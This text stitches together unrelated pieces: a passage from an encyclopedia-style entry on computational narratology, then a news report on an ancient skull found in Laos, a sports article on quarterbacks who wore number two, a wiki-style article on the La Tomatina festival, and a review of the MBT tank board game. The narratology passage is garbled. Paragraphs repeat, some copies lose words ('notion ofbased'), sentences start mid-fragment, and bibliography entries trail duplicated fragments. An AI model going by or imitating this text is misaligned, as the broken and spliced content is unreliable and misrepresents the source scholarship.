empirical tests of literary hypotheses. For example, Elson et al. () have been able to automatically extract conversational social networks from the dialogues between characters in 19th-century novels, disproving a claim by the literary critic Moretti () that urban novels reflect the looser ties of city life, resulting in more characters sharing fewer conversations.  [12] 3.3 Computational Elaborations of Narratological Concepts  [13]  plot based on plot units (Lehnert Lehnert, W. G. (1981). “Plot Units: A Narrative Summarization Strategy.” W. G. Lehnert & M. H. Ringle (eds.), Strategies for Natural Language Processing. Hillsdale, NJ: Lawrence Erlbaum. 1981 ), which is derived, much as in Bremond’s account, from a representation of events that involves characterizing the motivations behind the actions of characters as well as their emotional outcomes. While systems use such models of plot in story generation, the inferential challenges involved in imputing motives to characters in narrative understanding are substantial enough to limit the ability of systems to fully extract a plot representation. However, Goyal et al. ( Goyal, Amit, Ellen Riloff & Hal Daumé III (2010). “Automatically Producing Plot Unit Representations for Narrative Text.” Proceedings of the 2010 Conference on Empirical Methods in Natural Language Processing (EMNLP’2010), 77–86. 2010 ) have developed, based on a corpus, a text understanding system that can infer characters’ emotions (or affect states) associated with events, identifying which outcomes are beneficial, harmful, or neutral for particular characters. More nuanced models of characters’ emotions have also been explored. For example, the interactive storytelling system of Pizzi ( Pizzi, D. (2011). Emotional Planning for Character-based Interactive Storytelling. PhD Thesis, School of Computing, Teesside University, Middlesbrough. 2011 ) is driven by plans that exploit an inventory of characters’ feelings listed in Flaubert’s preliminary studies for Madame Bovary; such a framework allows for a variety of sentiment-driven interactive retellings of the novel. Another interesting reformulation of a narratological construct is that of suspense. Cheong ( Cheong, Y. G. (2007). A Computational Model of Narrative Generation for Suspense. PhD Thesis, Department of Computer Science, North Carolina State University. 2007 ) generates stories judged to be suspenseful by modeling the reader’s reasoning about limitations and conflicts involving a protagonist’s goals ( Gerrig, R. & D. Bernardo (1994) Readers as problem-solvers in the experience of suspense. Poetics 22: 459–72. 1994 ). Computational narratology has also developed its own accounts of key narratological concepts. An example is the fine-grained notion ofbased on plot units (Lehnert), which is derived, much as in Bremond’s account, from a representation of events that involves characterizing the motivations behind the actions of characters as well as their emotional outcomes. While systems use such models of plot in story generation, the inferential challenges involved in imputing motives to characters in narrative understanding are substantial enough to limit the ability of systems to fully extract a plot representation. However, Goyal et al. () have developed, based on a corpus, a text understanding system that can infer characters’ emotions (or affect states) associated with events, identifying which outcomes are beneficial, harmful, or neutral for particular characters. More nuanced models of characters’have also been explored. For example, the interactive storytelling system of Pizzi () is driven by plans that exploit an inventory of characters’ feelings listed in Flaubert’s preliminary studies for; such a framework allows for a variety of sentiment-driven interactive retellings of the novel. Another interesting reformulation of a narratological construct is that of. Cheong () generates stories judged to be suspenseful by modeling thereasoning about limitations and conflicts involving a protagonist’s goals ( → Reader), based on narratological insights from Gerrig & Bernado ().  [14]  For computational accounts to be made more relevant to humanities narratology, two issues need to be confronted: (a) the challenge of interdisciplinary communication across substantial methodological divides, especially given the shift in interest of post-classical narratology away from the precise analyses that characterized its structuralist phase; (b) the fact that computational representations and techniques for story generation are not general enough to concoct anything other than very short, relatively simple stories (such as fairy tales), let alone epics or novels (Gervás et al. Gervás, Pablo, Birte Lönneker-Rodman, Jan Christoph Meister & Federico Peinado (2006). “Narrative Models: Narratology Meets Artificial Intelligence.” Proceedings of the LREC-06 workshop Toward Computational Models of Literary Analysis, Genoa, Italy. 2006 ). The availability of multimillion-word narrative corpora and advanced machine learning algorithms used for training computational approaches can partially alleviate this problem, though annotating narratological information can be expensive.  [15] 4 Trends in the Field  [16]  The search for generic computational methods that could be used across narratives focused attention in the 1970s on planning formalisms. The spotlight has remained there ever since, although the planning techniques have evolved to accommodate ever-wider narratological concerns. In planning terms, to understand a story requires inferring, based on the Aristotelian notion of mythos, the causes of the events in the story and the goals of the characters involved – in effect, reconstructing from the sentences in the sujet a plan that corresponds to a causal chain of events (or operators) that can transform the initial state of the storyworld into the final state. The inferred events in the chain can include mental states and actions that may or may not be explicitly mentioned in the sujet. Story understanding systems (e.g. Wilensky Wilensky, Robert W. (1978). “Understanding Goal-based Stories.” Yale University Computer Science Research Report. 1978 ) never got very far, since (i) inferring characters’ goals involves a large search space and the inferences may need to be revised during processing and (ii) humans use a great deal of knowledge to interpret even simple stories. Given Forster’s exemplifying sentence “The king died and the queen died of grief,” a child has no difficulty figuring out why the queen was upset, but imparting a body of such commonsense knowledge to a computer is difficult; (iii) aspects of language that are hard to formalize but that are important for story interpretation, such as humor, irony, and subtle lexical associations, have by and large eluded computational approaches.  [17]  story generation, where the author can limit the system considerably, has proved more viable ( However, planning of fabulae for, where the author can limit the system considerably, has proved more viable ( → Story Generator Algorithms).  [18]  Mateas, M. & A. Stern (2005). “Structuring Content in the Facade Interactive Drama Architecture.” Proceedings of Artificial Intelligence and Interactive Digital Entertainment (AIIDE 2005), Marina del Rey. 2005 ) is retaining authorial control over the plot while granting some freedom to the user (who may act as an animated protagonist) in shaping the evolution of the narrative. Empowering the user can lead to aesthetically unsatisfying outcomes, but restricting her through constraints from the plot can limit engagement. The need for generation of text snippets and dialogue rather than full stories ( Mani, I. (2010a). The Imagined Moment. Lincoln: U of Nebraska P. 2010a , Mani, I. (2010b). “Predicting Reader Response in Narrative.” 3rd Workshop on Intelligent Narrative Technologies. Foundations of Digital Games Conference, Monterey, CA, June 18, 2010. 2010b ). In recent years, interactive narrative has been the major driver in the field, promising new varieties of aesthetic experience, aided by game engines and vivid animations. One of the challenges here (Mateas & Stern) is retaining authorial control over the plot while granting some freedom to the user (who may act as an animated protagonist) in shaping the evolution of the narrative. Empowering the user can lead to aesthetically unsatisfying outcomes, but restricting her through constraints from the plot can limit engagement. The need for generation of text snippets and dialogue rather than full stories ( → Conversational Narration - Oral Narration) to accompany storyworld animations has also spurred a trend of increased use of text generation based on templates that map non-linguistic input directly to the linguistic output form, sacrificing linguistic generalization for rapid prototyping. Overall, key issues include the modeling of narrative progression and the invention of suitable metrics for aesthetic satisfaction (Mani).  [19] 5 Topics for Further Investigation  [20]  1) As a hybrid of game and narrative that spans multiple media, interactive narrative represents a new and evolving genre. What novel constructs from computational narratology are applicable here, and which old ones need refinement? 2) The computer-assisted annotation of large-scale corpora with narratological information bearing on time, place, plot, character, emotion, point-of-view, narrative embedding, metalepsis, etc. is feasible when carried out as collaborative projects. In this respect the “crowd-sourcing” of narratological markup aims to serve human readers by providing more comprehensive narratological descriptions of narratives across an entire corpus, while at the same time facilitating computer-based research into their narratological patterns (cf. Meister Meister, Jan Christoph (2012). “Crowd sourcing “true meaning”. A collaborative markup approach to textual interpretation.” W. McCarty & M. Deegan (eds.), Festschrift for Harold Short. Surrey, U.K: Ashgate Publishers. 2012 ). Assuming that such efforts can advance computational narratology and also test more foundational theories, which models should be elaborated for corpus-level annotation efforts by the community? 3) How should an empirical theory of aesthetic response be formulated, and can this be exploited computationally?  [21] 6 Bibliography  [22] 6.1 Works Cited  Bremond, Claude (1970). “Morphology of the French Folktale.” Semiotica 2: 347–275.  2: 347–275. Bringsjord, Selmer & David A. Ferrucci (2000). Artificial Intelligence and Literary Creativity: Inside the Mind of BRUTUS, a Storytelling Machine . Mahwah, NJ: Lawrence Erlbaum.  . Mahwah, NJ: Lawrence Erlbaum. Campbell, Joseph ([1949] 1990). The Hero with a Thousand Faces . New York: Harper & Row.  . New York: Harper & Row. Cavazza, M. & F. Charles (2005). “Dialogue Generation in Character-based Interactive Storytelling.” AAAI First Annual Artificial Intelligence and Interactive Digital Entertainment Conference, Marina del Rey, California [1].  [1]. Cavazza, M. & D. Pizzi (2006). “Narratology for Interactive Storytelling: A Critical Introduction.” S. Gobel, R. Malkewitz, & I. Iurgel (eds.), Technologies for Interactive Digital Storytelling and Entertainment . Third International Conference. Lecture Notes in Computer Science, 4326. Berlin: Springer.  . Third International Conference. Lecture Notes in Computer Science, 4326. Berlin: Springer. Cheong, Y. G. (2007). A Computational Model of Narrative Generation for Suspense . PhD Thesis, Department of Computer Science, North Carolina State University.  . PhD Thesis, Department of Computer Science, North Carolina State University. Genette, Gérard ([1972] 1980). Narrative Discourse: An Essay in Method . Ithaca: Cornell UP.  . Ithaca: Cornell UP. Elson, David K., Nicholas Dames, & Kathleen R. McKeown (2010). “Extracting Social Networks from Literary Fiction.” Proceedings of the 48th Annual Meeting of the Association for Computational Linguistics (ACL’2010), 138–47.  (ACL’2010), 138–47. Freytag, Gustav (1900). Freytag's Technique of the drama : an exposition of dramatic composition and art . Translated by Elias J. MacEwan. Chicago: Scott, Foresman.  . Translated by Elias J. MacEwan. Chicago: Scott, Foresman. Gerrig, R. & D. Bernardo (1994) Readers as problem-solvers in the experience of suspense. Poetics 22: 459–72.  22: 459–72. Gervás, Pablo, Birte Lönneker-Rodman, Jan Christoph Meister & Federico Peinado (2006). “Narrative Models: Narratology Meets Artificial Intelligence.” Proceedings of the LREC-06 workshop Toward Computational Models of Literary Analysis, Genoa, Italy .  . Goguen, Joseph (2004). CSE 87C Winter 2004 Freshman Seminar on Computational Narratology . Department of Computer Science and Engineering, University of California, San Diego [2].  . Department of Computer Science and Engineering, University of California, San Diego [2]. Goyal, Amit, Ellen Riloff & Hal Daumé III (2010). “Automatically Producing Plot Unit Representations for Narrative Text.” Proceedings of the 2010 Conference on Empirical Methods in Natural Language Processing (EMNLP’2010), 77–86 [3].  (EMNLP’2010), 77–86 [3]. Grasbon, D. & N. Braun (2001). “A Morphological Approach to Interactive Storytelling.” Proceedings of Artificial Intelligence and Interactive Entertainment, CAST '01, Living in Mixed Realities, Sankt Augustin, Germany , 337–40 [4].  , 337–40 [4]. Harrell, D. A. (2007). Theory and Technology for Computational Narrative . PhD Thesis, Departments of Computer Science and Cognitive Science, University of California, San Diego.  . PhD Thesis, Departments of Computer Science and Cognitive Science, University of California, San Diego. Lang, R. (2003). “A Declarative Model for Simple Narratives.” M. Mateas & P. Sengers (eds.), Narrative Intelligence . Amsterdam: John Benjamins.  . Amsterdam: John Benjamins. Lehnert, W. G. (1981). “Plot Units: A Narrative Summarization Strategy.” W. G. Lehnert & M. H. Ringle (eds.), Strategies for Natural Language Processing . Hillsdale, NJ: Lawrence Erlbaum.  . Hillsdale, NJ: Lawrence Erlbaum. Mani, I., B. Wellner, M. Verhagen, C. M. Lee & J. Pustejovsky (2006). “Machine Learning of Temporal Relations.” Proceedings of the 44th Annual Meeting of the Association for Computational Linguistics, Sydney, Australia , 753–60.  , 753–60. Mani, I. (2010a). The Imagined Moment . Lincoln: U of Nebraska P.  . Lincoln: U of Nebraska P. Mani, I. (2010b). “Predicting Reader Response in Narrative.” 3rd Workshop on Intelligent Narrative Technologies. Foundations of Digital Games Conference, Monterey, CA, June 18, 2010 .  . Mateas, M. & A. Stern (2005). “Structuring Content in the Facade Interactive Drama Architecture.” Proceedings of Artificial Intelligence and Interactive Digital Entertainment (AIIDE 2005), Marina del Rey .  . Meister, Jan Christoph (2003). Computing Action. A Narratological Approach . Berlin: de Gruyter.  . Berlin: de Gruyter. Meister, Jan Christoph (2011). “→ Narratology.” Paragraph 1–81. P. Hühn et al. (eds.), the living handbook of narratology. Hamburg: Hamburg UP.  Meister, Jan Christoph (2012). “Crowd sourcing “true meaning”. A collaborative markup approach to textual interpretation.” W. McCarty & M. Deegan (eds.), Festschrift for Harold Short . Surrey, U.K: Ashgate Publishers.  . Surrey, U.K: Ashgate Publishers. Montfort, Nick (2011). “Curveship's Automatic Narrative Variation.” Proceedings of the 6th International Conference on the Foundations of Digital Games (FDG '11), 211–18, Bordeaux, France .  . Moretti, Franco (1999). Atlas of the European Novel, 1800–1900 . London: Verso.  . London: Verso. Peinado, Federico & Pablo Gervás (2006). “Evaluation of Automatic Generation of Basic Stories.” New Generation Computing 24: 289–302.  24: 289–302. Pizzi, D. (2011). Emotional Planning for Character-based Interactive Storytelling . PhD Thesis, School of Computing, Teesside University, Middlesbrough.  . PhD Thesis, School of Computing, Teesside University, Middlesbrough. Propp, Vladimir ([1928] 1968, 1988). Morphology of the Folktale . 2nd edn. Austin: U of Texas P.  . 2nd edn. Austin: U of Texas P. Rumelhart, David E. (1980). “On Evaluating Story Grammars.” Cognitive Science 4: 313–16.  4: 313–16. Salway, Andrew & David Herman (2008). “Digitized Corpora as Theory- Building Resource: New Foundations for Narrative Inquiry.” R. Page & B. Thomas (eds.), New Narratives: Theory and Practice . Lincoln: U of Nebraska P.  . Lincoln: U of Nebraska P. Schäfer, L., A. Stauber & B. Brokan (2004). “Storynet: An Educational Game for Social Skills.” S. Göbel et al. (eds.), Technologies for Interactive Digital Storytelling and Entertainment, Second International Conference, TIDSE 2004, LNCS 3105 . Berlin: Springer, 148–157.  . Berlin: Springer, 148–157. Schank, Roger C. & Robert P. Abelson (1977). Scripts, plans, goals, and understanding: An inquiry into human knowledge structures . Hillsdale, NJ: Lawrence Erlbaum.  . Hillsdale, NJ: Lawrence Erlbaum. Šklovskij, Viktor B. (Shklovsky, Victor) ([1917] 1965). “Art as a Technique.” L. T. Lemon & M. J. Reis (eds.), Russian Formalist Criticism . Lincoln: U of Nebraska P, 3–24.  . Lincoln: U of Nebraska P, 3–24. Tomaševskij, Boris (Tomashevsky) ([1925] 1971). A Theory of Literature . Letchworth: Bradda Books.  . Letchworth: Bradda Books. Wilensky, Robert W. (1978). “Understanding Goal-based Stories.” Yale University Computer Science Research Report.  [23] 6.2 Further Reading  Callaway, Charles (2000). Narrative Prose Generation . Ph.D. Dissertation, Department of Computer Science, North Carolina State University, Raleigh, North Carolina.  . Ph.D. Dissertation, Department of Computer Science, North Carolina State University, Raleigh, North Carolina. Correira, A. (1980). “Computing Story Trees.” American Journal of Computational Linguistics 6.3-4: 135–49.  6.3-4: 135–49. Cullingford, R. E. (1978). “Script application: Computer understanding of newspaper stories.” Research Report 116. Computer Science Department, Yale University.  116. Computer Science Department, Yale University. DeJong, G. F. (1982). “An Overview of the FRUMP System. W. G. Lehnert & M. H. Ringle (eds.), Strategies for Natural Language Processing . Hillsdale, NJ: Lawrence Erlbaum, 149–76.  . Hillsdale, NJ: Lawrence Erlbaum, 149–76. Elson, David K. (2012). “Dramabank: Annotating agency in narrative discourse.” Proceedings of the Eighth International Conference on Language Resources and Evaluation (LREC 2012) .  . Finlayson, Mark A. (2009). “Deriving narrative morphologies via analogical story merging.” B. Kokinov et al. (eds.), New Frontiers in Analogy Research . Sofia: NBU P.  . Sofia: NBU P. Hobbs, Jerry (1990). Literature and Cognition . Lecture Notes, Number 21, Center for the Study of Language and Information, Stanford, California. Chicago: U of Chicago P.  . Lecture Notes, Number 21, Center for the Study of Language and Information, Stanford, California. Chicago: U of Chicago P. Kazantseva , Anna & Stan Szpakowicz (2010). “Summarizing Short Stories.” Computational Linguistics 36.1: 71–109.  36.1: 71–109. Lebowitz, M. (1985). “Story-telling as planning and learning.” Poetics 14: 483–502.  14: 483–502. Lehnert, Wendy, G., Michael G. Dyer, Peter N. Johnson, C.J. Yang, & Steve Harley (1983). “Boris – an experiment in in-depth understanding of narratives.” Artificial Intelligence 20: 15–62.  20: 15–62. Löwe, Benedikt (2010). “Comparing formal frameworks of narrative structures.” Computational Models of Narrative: Papers from the 2010 AAAI Fall Symposium, Menlo Park, California .  . Mani, I. (2013). Computational Modeling of Narrative . San Rafael, CA: Morgan & Claypool.  . San Rafael, CA: Morgan & Claypool. Mateas, M. (2000). “A Neo-Aristotelian Theory of Interactive Drama”. Working Notes of the AAAI Spring Symposium on Artificial Intelligence and Interactive Entertainment. Palo Alto, CA : AAAI Press.  : AAAI Press. Meehan, James R. (1977). The Metanovel: writing stories on computer . PhD Thesis, Department of Computer Science, Yale University.  . PhD Thesis, Department of Computer Science, Yale University. Mueller, Erik T. (2002). “Story understanding.” N. Lynn (ed.), Encyclopedia of Cognitive Science 4: 238–46. London: Nature Publishing Group.  4: 238–46. London: Nature Publishing Group. Mueller, Erik T. (2004). “Understanding script-based stories using commonsense reasoning.” Cognitive Systems Research 5.4: 307–40.  5.4: 307–40. Pérez y Pérez, R. & M. Sharples (2004). “Three Computer-Based Models of Storytelling: BRUTUS, MINSTREL and MEXICA.” Knowledge-Based Systems 17.1: 15-29.  17.1: 15-29. Reed, Aaron (2010). Creating Interactive Fiction with Inform 7 . Independence, KY: Course Technology PTR.  . Independence, KY: Course Technology PTR. Riedl, Mark O. & R. Michael Young (2010). “Narrative Planning: Balancing Plot and Character.” Journal of Artificial Intelligence Research 39: 217–68.  39: 217–68. Turner, Scott R. (1994). The Creative Process: A Computer Model for Storytelling and Creativity. Hillsdale, NJ: Lawrence Erlbaum.  [24] 6.3 Web Resources
-Washington: Researchers have described an ancient skull recovered from a cave in the Annamite Mountains in northern Laos as the oldest modern human fossil found in Southeast Asia, pushing back the clock on modern human migration through the region by as much as 20,000 years.  The discovery indicates that ancient wanderers out of Africa left the coast and inhabited diverse habitats much earlier than previously appreciated.  The scientists, who found the skull in 2009, were likely the first to dig for ancient bones in Laos since the early 1900s, when a team found skulls and skeletons of several modern humans in another cave in the Annamite Mountains. Those fossils were about 16,000 years old, much younger than the newly found skull, which dates to between 46,000 and 63,000 years old.  No other artifacts have yet been found with the skull, suggesting that the cave was not a dwelling or burial site, said University of Illinois anthropologist Laura Shackelford, who led the study with anthropologist Fabrice Demeter, of the National Museum of Natural History in Paris.  It is more likely that the person died outside and the body washed into the cave sometime later, she said.  The find reveals that early modern human migrants did not simply follow the coast and go south to the islands of Southeast Asia and Australia, as some researchers have suggested, but that they also travelled north into very different types of terrain, Shackelford said.  "This find supports an `Out-of-Africa` theory of modern human origins rather than a multi-regionalism model," she said.  "Given its age, fossils in this vicinity could be direct ancestors of the first migrants to Australia. But it is also likely that mainland Southeast Asia was a crossroads leading to multiple migratory paths," she noted.  The discovery also bolsters genetic studies that indicate that modern humans occupied that part of the world at least 60,000 years ago, she said.  "This is the first fossil evidence that supports the genetic data," she said.  The researchers used radiocarbon dating and luminescence techniques to determine the age of the soil layers above, below and surrounding the skull, which was found nearly 2 1/2 meters (about 8.2 feet) below the surface of the cave.  Researchers at Illinois used uranium/thorium dating to determine the age of the skull, which they determined was about 63,000 years old.  "This fossil find indicates that the migration out of Africa and into East and Southeast Asia occurred at a relatively rapid rate, and that, once there, modern humans weren`t limited to environments that they had previously experienced," said Kira Westaway, of Macquarie University in Australia said.  "We now have the fossil evidence to prove that they were there long before we thought they were there," she added.  The team described its finding in a paper in Proceedings of the National Academy of Sciences.  ANI
-Feb 5, 2017; Houston, TX, USA; Atlanta Falcons quarterback Matt Ryan (2) passes the ball during the first quarter against the New England Patriots during Super Bowl LI at NRG Stadium. Mandatory Credit: Dan Powers-USA TODAY Sports  Is Matt Ryan the best quarterback to ever wear number two?  Jersey numbers are a strange phenomenon in the NFL. Number 12, for example, has been worn by several hall of fame quarterbacks and future hall of famers, including Tom Brady, Aaron Rodgers, Terry Bradshaw, Roger Staubach, Bob Griese, Jim Kelly, Joe Namath, and Kenny Stabler, just to name a few.  While the best quarterback to ever wear the number 12 could be debated for hours, the number two offers less competition. Two was most notably worn by Tim Couch, Aaron Brooks, Doug Flutie, and of course, Matt Ryan.  Let’s break down the careers of these field generals who wore the number two.  Aaron Brooks  20,261 Career Passing Yards  56.5% Career Completion Percentage  123 – 92 Career Touchdown to Interception Ratio  38 – 52 Record as a Starter  More stats at Pro Football Reference  The cousin of Michael Vick, Aaron Brooks never found the same success in the NFL. While he will be remembered as an inconsistent quarterback, Brooks did lead the New Orleans Saints to the franchise’s first ever playoff win in 2000.  Tim Couch  11,131 Career Passing Yards  59.8% Career Completion Percentage  64 – 67 Career Touchdown to Interception Ratio  22 – 37 Record as a Starter  More stats at Pro Football Reference  As an All-American in college and the first overall pick of the 1999 NFL Draft, Tim Couch was supposed to bring the Cleveland Browns to the promised land. Unfortunately, injuries were the story of Couch’s career, as he showed flashes of greatness, but was never able to perform at a top level consistently.  Doug Flutie  14,715 Career Passing Yards  54.7% Career Completion Percentage  86 – 68 Career Touchdown to Interception Ratio  38 – 28 Record as a Starter  More stats at Pro Football Reference  Heisman winner and college football legend, famously known for his hail mary to beat Miami, Doug Flutie easily stands out here. However, due to his height, Flutie found most of his professional success in the Canadian Football League, winning three Grey Cups. He did make an NFL comeback after his stint in the CFL, earning a trip to the Pro Bowl and winning the Comeback Player of the Year award in 1998.  Matt Ryan  37,701 Career Passing Yards (through 2016)  64.9% Career Completion Percentage (through 2016)  240 – 114 Career Touchdown to Interception Ratio (through 2016)  85 – 57 Record as a Starter  More stats at Pro Football Reference  If Ryan’s superb numbers alone do not close the argument, his accolades will. The 2016 Most Valuable Player, the 2016 Offensive Player of the Year, 2016 First Team All-Pro, Four Pro-Bowls (2010, 2012, 2014, 2016), and the 2008 Offensive Rookie of the Year are the highlights of Ryan’s trophy case. His great playoff run leading the Falcons to a Super Bowl appearance in 2016 and his intangible clutch factor throughout his career seal the deal.  Matt Ryan is the best quarterback to ever wear two on his jersey, but we know he’s also number one in the hearts of every Falcons fan.
-Food fighting festival throwing tomatoes at eachother  La Tomatina La Tomatina in 2014 Official name La Tomatina Observed by Buñol, Valencia, Spain Date Last Wednesday in August 2018 date August 29 ( 2018-08-29 ) 2019 date August 28 ( 2019-08-28 ) 2020 date August 26 ( 2020-08-26 ) 2021 date August 25 ( 2021-08-25 ) Frequency annual  La Tomatina ( Spanish pronunciation: [la tomaˈtina]) is a festival that is held in the Valencian town of Buñol, in the East of Spain 30 kilometres (19 mi) from the Mediterranean, in which participants throw tomatoes and get involved in a tomato fight purely for entertainment purposes. Since 1945 it has been held on the last Wednesday of August, during a week of festivities in Buñol.  History [ edit ]  La Tomatina 25-08-2010  It started the last Wednesday of August in 1945 when some young people spent the time in the town square to attend the Giants and Big-Heads figures parade. The young boys decided to take part in a parade with musicians, Giants and Big-Heads figures. The energy of jovialities caused one participant's big head to fall off. The participant flew into a fit of rage, began hitting everything in his path. There was a market stall of vegetable that fell victim to the fury of the crowd. People started to pelt each other with tomatoes until the local forces ended that fruit battle.  The following year, some young people engaged in a pre-planned quarrel and brought their own tomatoes from home. Although the police broke it up, this began the early tradition. In the following years, the young boys' example had unwittingly made history.  La Tomatina was banned in the early 50s, however this did not stop the participants who were arrested. But the people protested the prohibition and the festivity was again allowed with more participants and increased passions. The festivity was again cancelled till 1957 when, as a sign of protest, the tomato burial was held. It was a demonstration in which the residents carried a coffin with a huge tomato inside. The parade was accompanied by a music band which played funeral marches. The protest was successful. La Tomatina Festival was finally permitted and became an official festival.  As a result of the report of Javier Basilio, a broadcaster from the Spanish television program called Informe Semanal, the festivity started to be known throughout the rest of Spain. Since then, the number of participants increased year after year as well as the excitement about La Tomatina Festival. In 2002, La Tomatina of Buñol was declared Festivity of International Tourist Interest by the Secretary Department of Tourism due to its success.[1]  Description [ edit ]  Preparing the "palo jabón"  Throwing tomatoes from a truck  Usually, the fight lasts for about two hours, after which the town square is covered with tomato debris.[2] Fire trucks then hose down the streets and participants often use hoses that locals provide to remove the tomatoes from their bodies. Some participants go to the “Los Peñones” pool to wash. The citric acid in the tomatoes leads to the washed surfaces in the town becoming very clean.[3][4]  Since 2013 participation in the event has been restricted to the holders of paid tickets. In 2015, it was estimated that almost 145000 kg of tomatoes were thrown.[3]  Rules of the festival [ edit ]  The city council follows a short list of instructions for the safety of the participants and the festival:[5]  Do not throw bottles or hard objects Do not tear or throw t-shirts Squash tomatoes before throwing them to avoid hurting others Keep a safe distance from trucks Stop throwing tomatoes after the second starter pistol shot Follow the directions of security staff  In other countries [ edit ]  La Tomatina Buñol has inspired similar celebrations in other parts of the world:  In popular culture [ edit ]  See also [ edit ]  References [ edit ]  Coordinates:
-Posted on Sep 20, 2016 in Boardgames, Front Page Features  James Day’s MBT – MAIN BATTLE TANK Game Review  MBT Game Review. Publisher: GMT Games Designer: James M. Day Price $95.00  Rick Martin  Passed Inspection: Tons of content. Complete rules for armor infantry and airpower. Multiple levels of play from beginner to advanced player. Beautiful components. Complete table of contents and index.  Failed Basic: Some confusion as to air power attacking armor using armor piercing ammunition.  MBT is the newest release in the reconstituted series of armor games by legendary game designer James Day. While earlier releases from GMT have been updates of the classic Yaquinto Panzer and Armor World War 2 games (still waiting on an update to the North African themed “88” which is my favorite of the series – come on guys!), GMT’s MBT is an update of the Avalon Hill released MBT which focuses on Nato vs Eastern Block “what if” battles from 1987.  {default}  As I stated in my original review of Day’s updated Panzer:  “Back when I was in 8th grade (I’m 46 now – you do the math), I discovered military and role playing games. The first games, which I either saved up for or were given as gifts, include Dungeons and Dragons (the Basic Set), Orge, GEV, Starship Troopers, Star Fleet Battles and 88. If I remember right, 88 was available in the “Gaming Department” of a local department store at the now gone Salem Mall in Dayton, Ohio. The department included various versions of chess, including a 3 D chess clearly modeled on the game Mr. Spock played in “Star Trek”, some Avalon Hill titles and a selection of large boxed games from a company called “Yaquinto”. I distinctly remember seeing the huge flat yellow boxed 88 which featured German Africa Corp soldiers manning an 88 mm anti-tank gun on the cover. Having been raised on shows like “The Rat Patrol” and being an avid viewer of tv broadcasts of “The Desert Fox”, I had a great fondness for the North African Campaign and I remember saving up my allowance for over a month to purchase that cool looking war game. I was not disappointed. Each unit in 88 was a tank or truck or squad of infantry. I loved the tactical nature of the game and often substituted model tanks for the counters in the game. After playing 88, I had to find its brother games – Panzer and Armor. Panzer featured Russian Font battles while Armor featured the Allied campaigns to conquer Germany after D Day.  When Yaquinto Games disappeared, I gave up hope of ever seeing new expansions for these tactical war games. I purchased a reprint of Panzer by Excalibur Games but was highly disappointed . Main Battle Tank and Israeli Defense Force from Avalon Hill were modern upgrades to the system created by James M. Day in the Yaquinto games.”  MBT stands for Main Battle Tank and, as this game’s title indicates, MBT focuses on tactical armor on armor conflict in a “what if” Soviet vs Nato clash in Europe of 1987.  Each unit is one tank, truck, infantry fighting vehicle, airplane, helicopter or infantry unit. Infantry units represent squads, ½ squads or sections. Crew serviced infantry weapons include heavy machine guns, Dragon teams, AT4 teams, LAW teams, Stinger teams, Saxhorn teams, RPG teams, etc.  As always, James Day has performed an incredible amount of research to make sure that all aspects of the weapons and situations are covered with exquisite detail.  Upon opening the box, you’ll find a basic rule book, an advanced rule book, a play book, five player aid cards and two 11” x 17” summary sheets, six sheets of high quality, full color counters, 28 full color double sided unit data cards, dice and five full color double sided geomorphic maps. Also included are zip lock bags to put your counters and dice in.  The rules are well illustrated and efficiently organized and include a glossary and a table of contents as well as a complete index. The rules are organized in to a Basic Game, an Advanced Game and Optional Rules.  The Basic Game helps gets the players’ tracks wet and covers such concepts as basic line-of-site, vehicle commands, movement and attacking plus basic terrain. A basic scenario can be played in as little as 30 minutes depending on the number of tanks involved. Each tank is given a command marker which is initially placed face down. Basic commands include “Fire”, “Move”, “Over watch” and “Short Halt” (stop moving briefly and fire then move again). It is these command markers which make the game fast to play. While the versions of this game from the 70s and 80s used written commands which the players show to each other, all the new releases allow the players to place these command markers near their units and then flip them over to carry out the actions. These command markers, in fact, allow for a high degree of solitaire play-ability as all the player has to do is create a mix of command counters for the enemy based upon the scenario being played. Then the player can mix them up face down and put them next to the enemy units. Simply flip them over during the turn to see what the enemy “AI” does. It works pretty well.  In the Basic Game, a tank is rated for front and rear armor only. In the Advanced Game, each tank’s armor is broken in to ratings for 11 separate angles. To take out an enemy tank, the firing player must make a roll to hit the target with modifiers for range. All rolls are made with two 10-sided die. If a hit occurs, the shot still has to penetrate the target’s armor. Each unit has a data card which lists everything from its speed on different terrain to its gun types and penetration factor of its guns. If the shot penetrates the armor, then a 1d10 is rolled based upon the damage factor of the gun doing the shooting. Results run from a dud shell to damage to parts of the tank to leaving the target a burning wreck.  As technology has advanced so have the defensive measures used on tanks. In addition to the armor plating and sloping used in World War 2, most modern tanks use composite materials, explosive reactive armor and other systems which help protect the tank and crew from harm. These are factored in to the advanced rules and really add to the game.  Each armored unit is rated for its type of sensors and gun sights including laser range finders, thermal imagers and infra-red. Plus each unit is rated for the number and type of different weapon systems and ammunition. For example, the M1 Abrams is rated for its accuracy, armor piercing and high explosive/general purpose potential for machine guns, APFSDS rounds, Heat-MP rounds and anti-aircraft ability.  The fire power of these MBTs, AFVs, and even the firepower of the average infantry team is devastating especially when compared to the statistic of their World War 2 brethren.  Since the World War 2 “Panzer” series and the “modern” MBT use the same game system, it would be fun to take 1 M1 Abrams and send it up against 4 or 5 Tiger tanks and see what happens. I bet it wouldn’t be pretty for the Tigers especially with the modern laser sites and hard hitting APFSDS rounds on the Abrams.  Aircrafts and helicopters are covered and data is included for almost all air units which could have been used in the mid-1980s including Apaches, Cobras, A10s, Hinds, Su-25s and much more. Strangely enough, the aircrafts are only rated for their GP attack value. This seems a little counter-intuitive to me as the A10 is noted for its armor piercing cannon shells. None-the-less, air strikes can be very devastating for those stuck on the ground.  Infantry units also have access to devastating weapons such as Stinger missiles and Dragon teams. While infantry isn’t the prime focus of the game, combined arms theory is realistically treated.  Complete rules for terrain cover every conceivable cover, building, bridges, etc. you could ever hope to find in Europe. No stone has been unturned in the research and rules in this game.  Rules are included for environmental factors such as heat haze, inclement weather and night time combat.  Optional rules factor in moral plus armored doctrines of the various factions including Russian formation rules.  Both off map and on-map artillery rules are included as are rules for hidden (fog of war) units, sectional command and control, minefields, amphibious movement and the list goes on and on. This game has it all! In fact, there is so much that even an intermediate player can be a little overwhelmed, but that’s not a bad thing!  MBT is worth every penny for armor fans. Get this game! It is an instant classic!  For an interview with James Day: http://armchairgeneral.com/game-designer-james-day-armchair-general-interview.htm”  Armchair General Rating: 99 %  Solitaire Rating: 4  About the Author  A college film instructor and small business owner, Richard Martin has also worked in the legal and real estate professions, is involved in video production, film criticism, sports shooting and is an avid World War I and II gamer who can remember war games which came in plastic bags and cost $2.99 (he’s really that old)!
